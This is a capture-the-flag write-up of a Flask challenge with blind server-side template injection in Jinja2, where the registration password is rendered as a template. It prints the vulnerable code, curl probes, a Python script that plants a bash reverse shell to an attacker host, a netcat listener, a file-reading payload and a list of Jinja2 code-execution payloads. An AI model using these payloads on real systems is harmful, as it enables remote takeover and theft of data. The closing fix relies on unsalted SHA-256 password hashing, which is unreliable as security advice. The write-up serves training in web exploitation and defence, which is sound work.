Состояние 0x7F
Состояние 0x7F
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-19 | Status: Solved Techniques: blind_injection, reverse_shell, ssti_jinja2
Summary
Task: Flask app with source code, hint about 0x7F (127 = DEL = ghost input). Solution: Blind SSTI in Jinja2 - password field is rendered as template via from_string().render(), result saved as hash. Exploit by registering with SSTI payload and logging in with computed result, or use reverse shell.
Состояние 0x7F — Hackerlab
Description
Сервер молчит, но не всегда. Попробуй поговорить с ним по-тихому — он любит загадки.
A Flask application is provided (source code in state0x7F_src.zip).
Hint in the name: "Состояние 0x7F" — 0x7F = 127 = DEL in ASCII, hinting at "ghost/invisible input".
Analysis
Vulnerable code (routes.py:35)
python read-only • copy allowed@main.route('/register', methods=['GET', 'POST']) def register(): error = None if request.method == 'POST': username = request.form['username'] password = request.form['password'] existing_user = User.query.filter_by(username=username).first() if existing_user: error = 'This username is already taken' else: hash = str(jinja2.Environment().from_string(password).render()) # VULNERABLE! user = User(username=username, password=hash) db.session.add(user) db.session.commit() return redirect(url_for('main.login')) return render_template('register.html', error=error)
Vulnerability: Server-Side Template Injection (SSTI) in Jinja2.
The password field is processed as a Jinja2 template via from_string().render(). The render result is saved as the password hash in the database.
Key Points
- Blind SSTI — the result is not displayed directly, but saved as the password
- You can verify the result by logging in with the "computed" password
- Full access to Jinja2 context = RCE
Solution
Step 1: Confirming SSTI
bash read-only • copy allowed# Register with SSTI payload in password curl -X POST http://62.173.140.174:16091/register \ -d "username=test1&password={{7*7}}" # Login with the computed result curl -X POST http://62.173.140.174:16091/login \ -d "username=test1&password=49" # Successful login! SSTI confirmed.
Step 2: Reverse Shell
python read-only • copy allowed#!/usr/bin/env python3 """ Blind SSTI exploitation via reverse shell. """ import requests TARGET = "http://62.173.140.174:16091" ATTACKER_IP = "YOUR_IP" ATTACKER_PORT = "4444" # SSTI payload for reverse shell payload = f'''{{{{lipsum.__globals__["os"].popen("bash -c 'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'").read()}}}}''' # Register with payload requests.post(f"{TARGET}/register", data={ "username": "pwned", "password": payload })
Step 3: Getting the Flag
bash read-only • copy allowed# On the attacker machine nc -lvnp 4444 # After getting shell id # uid=0(root) gid=0(root) groups=0(root) cat /root/fl4g.txt # CODEBY{REDACTED}
Alternative Payload (without reverse shell)
If you need to extract data via blind:
python read-only • copy allowed# Read file and use as password payload = "{{lipsum.__globals__['os'].popen('cat /root/fl4g.txt').read()}}" # Register requests.post(f"{TARGET}/register", data={ "username": "reader", "password": payload }) # Login with file contents as password requests.post(f"{TARGET}/login", data={ "username": "reader", "password": "CODEBY{REDACTED}" })
Useful SSTI Payloads for Jinja2
python read-only • copy allowed# Basic check {{7*7}} {{config}} # RCE via lipsum {{lipsum.__globals__["os"].popen("id").read()}} # RCE via cycler {{cycler.__init__.__globals__.os.popen('id').read()}} # RCE via request {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Defense
python read-only • copy allowed# WRONG (vulnerable) hash = str(jinja2.Environment().from_string(password).render()) # CORRECT (secure) import hashlib hash = hashlib.sha256(password.encode()).hexdigest()
Never pass user input to template rendering functions!